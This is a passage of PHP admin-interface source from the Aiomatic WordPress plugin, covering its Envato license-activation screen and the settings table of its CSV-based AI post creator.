), esc_url_raw( '//coderevolution.ro/knowledge-base/faq/how-do-i-find-my-items-purchase-code-for-plugin-license-activation/' ) ); ?> </div> </div> <div class="input-section"> <label><b><?php echo esc_html__("Revoke Your Purchase Code:", 'aiomatic-automatic-ai-content-writer');?></b></label> <input type="hidden" id="<?php echo esc_html($plugin_slug);?>_activation_nonce" value="<?php echo wp_create_nonce('activation-secret-nonce');?>"> <button type="button" id="<?php echo esc_html($plugin_slug);?>_revoke_license" class="button button-primary modern-button" onclick="unsaved = false;"><?php echo esc_html__("Revoke License", 'aiomatic-automatic-ai-content-writer');?></button> </div> </div> <?php } elseif($is_activated === 2) { ?> <div class="verification-container"> <div class="help-section"> <div class="help-icon"> <span class="dashicons dashicons-editor-help"></span> </div> <div class="help-text"> <?php echo sprintf( wp_kses( __( 'The plugin is in DEMO Mode, no registration is required. You can freely test its functionality.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( '//coderevolution.ro/knowledge-base/faq/how-do-i-find-my-items-purchase-code-for-plugin-license-activation/' ) ); ?> </div> </div> </div> <?php } elseif($is_activated === -1) { ?> <div class="verification-container"> <div class="help-section"> <div class="help-icon"> <span class="dashicons dashicons-editor-help"></span> </div> <div class="help-text"><p class="cr_red"><?php echo esc_html__("You are using a PIRATED version of the plugin! Because of this, the main functionality of the plugin is not available. Please revoke your license and activate a genuine license for the Aiomatic plugin. Note that the only place where you can get a valid license for the plugin is found here (if you find the plugin for sale also on other websites, do not buy, they are selling pirated copies): ", 'aiomatic-automatic-ai-content-writer');?><a href="https://1.envato.market/aiomatic" target="_blank"><?php echo esc_html__("Aiomatic on CodeCanyon", 'aiomatic-automatic-ai-content-writer');?></a></p> </div> </div> <div class="input-section"> <label><b><?php echo esc_html__("Revoke Your Purchase Code:", 'aiomatic-automatic-ai-content-writer');?></b></label> <input type="hidden" id="<?php echo esc_html($plugin_slug);?>_activation_nonce" value="<?php echo wp_create_nonce('activation-secret-nonce');?>"> <button type="button" id="<?php echo esc_html($plugin_slug);?>_revoke_license" class="button button-primary modern-button" onclick="unsaved = false;"><?php echo esc_html__("Revoke License", 'aiomatic-automatic-ai-content-writer');?></button> </div> </div> <?php } else { ?> <div class="verification-container"> <div class="help-section"> <div class="help-icon"> <span class="dashicons dashicons-editor-help"></span> </div> <div class="help-text"> <?php echo sprintf( wp_kses( __( 'Please input your Envato purchase code, to activate the plugin. To get your purchase code, please follow <a href="%s" target="_blank">this tutorial</a>.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( '//coderevolution.ro/knowledge-base/faq/how-do-i-find-my-items-purchase-code-for-plugin-license-activation/' ) ); ?> </div> </div> <div class="input-section"> <label for="<?php echo esc_html($plugin_slug);?>_register_code"><b><?php echo esc_html__("Register Your Envato Purchase Code To Activate The Plugin:", 'aiomatic-automatic-ai-content-writer');?></b></label> <input type="text" id="<?php echo esc_html($plugin_slug);?>_register_code" placeholder="<?php echo esc_html__("Envato Purchase Code", 'aiomatic-automatic-ai-content-writer');?>" class="input-text"> <input type="hidden" id="<?php echo esc_html($plugin_slug);?>_activation_nonce" value="<?php echo wp_create_nonce('activation-secret-nonce');?>"> <button type="button" id="<?php echo esc_html($plugin_slug);?>_register" class="button button-primary modern-button" onclick="unsaved = false;"><?php echo esc_html__("Register Purchase Code", 'aiomatic-automatic-ai-content-writer');?></button> </div> </div> <?php } } ?>��������������������������������������������������������������������������������������������������������������������res/aiomatic-csv-list.php���������������������������������������������������������������������������0000644�����������������00000413642�14757771437�0011436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_csv_panel() { $all_rules = get_option('aiomatic_csv_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap"> <h1><?php echo esc_html__("CSV AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></h1> </div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_title"><?php echo esc_html__("CSV File URLs List", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add the URLs of the CSV files from where the plugin will get the details for publishing posts. Add each file URL on a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Of Posts", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of posts that this rule can create at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_csv(); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_csv_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_csv_list[post_title][]" placeholder="CSV file URL" class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_csv_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_csv_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("CSV File Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the separator of the CSV file. It is usually auto detected, however, if you have issues with auto detection, you can set the CSV separator here.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CSV File Separator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text"class="cr_width_full" name="aiomatic_csv_list[csv_separator][]" value="" placeholder="Optional, leave empty if not sure" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title" name="aiomatic_csv_list[strip_title][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin" name="aiomatic_csv_list[skip_spin][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate" name="aiomatic_csv_list[skip_translate][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to randomize CSV row processing order or do you want to process the lines in their order of appearence?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Randomize CSV Row Processing Order:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="random_order" name="aiomatic_csv_list[random_order][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Title/Topic Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_csv_list[title_once][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="overwrite_existing" name="aiomatic_csv_list[overwrite_existing][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_csv_list[strip_by_regex][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_csv_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Author:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_csv_list[post_author][]" class="cr_width_full"> <option value="rand"><?php echo esc_html__("Random user", 'aiomatic-automatic-ai-content-writer');?></option> <?php $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { echo '<option value="' . esc_html($user->ID) . '"'; echo '>' . esc_html($user->display_name) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_csv_list[submit_status][]" class="cr_width_full"> <option value="pending"><?php echo esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"><?php echo esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish" selected><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Item Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_csv_list[default_type][]" class="cr_width_full"> <?php $is_first = true; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; if($is_first === true) { echo ' selected'; $is_first = false; } echo '>' . esc_html($post_type) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Post Format:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_format" name="aiomatic_csv_list[post_format][]" class="cr_width_full"> <option value="post-format-standard" selected><?php echo esc_html__("Standard", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-aside"><?php echo esc_html__("Aside", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-gallery"><?php echo esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-link"><?php echo esc_html__("Link", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-quote"><?php echo esc_html__("Quote", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-status"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-video"><?php echo esc_html__("Video", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-audio"><?php echo esc_html__("Audio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-chat"><?php echo esc_html__("Chat", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" class="cr_width_full" name="aiomatic_csv_list[parent_id][]" value="" placeholder="Post parent ID" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Remove WP Default Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="remove_default" name="aiomatic_csv_list[remove_default][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Comments For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_comments" name="aiomatic_csv_list[enable_comments][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable pingbacks/trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Pingback/Trackback:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_pingback" name="aiomatic_csv_list[enable_pingback][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Post Publish Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_csv_list[min_time][]" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_csv_list[max_time][]" placeholder="End time" class="cr_half"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Fields:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_csv_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_csv_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Assign WPML/Polylang Language to Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_csv_list[wpml_lang][]" value="" placeholder="WPML/Polylang language" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks('');" name="aiomatic_csv_list[link_type][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_csv_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_csv_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_csv_list[link_nofollow][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_csv_list[link_post_types][]" placeholder="post" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Scheduling Restrictions", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_csv_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_csv_list[active][]" 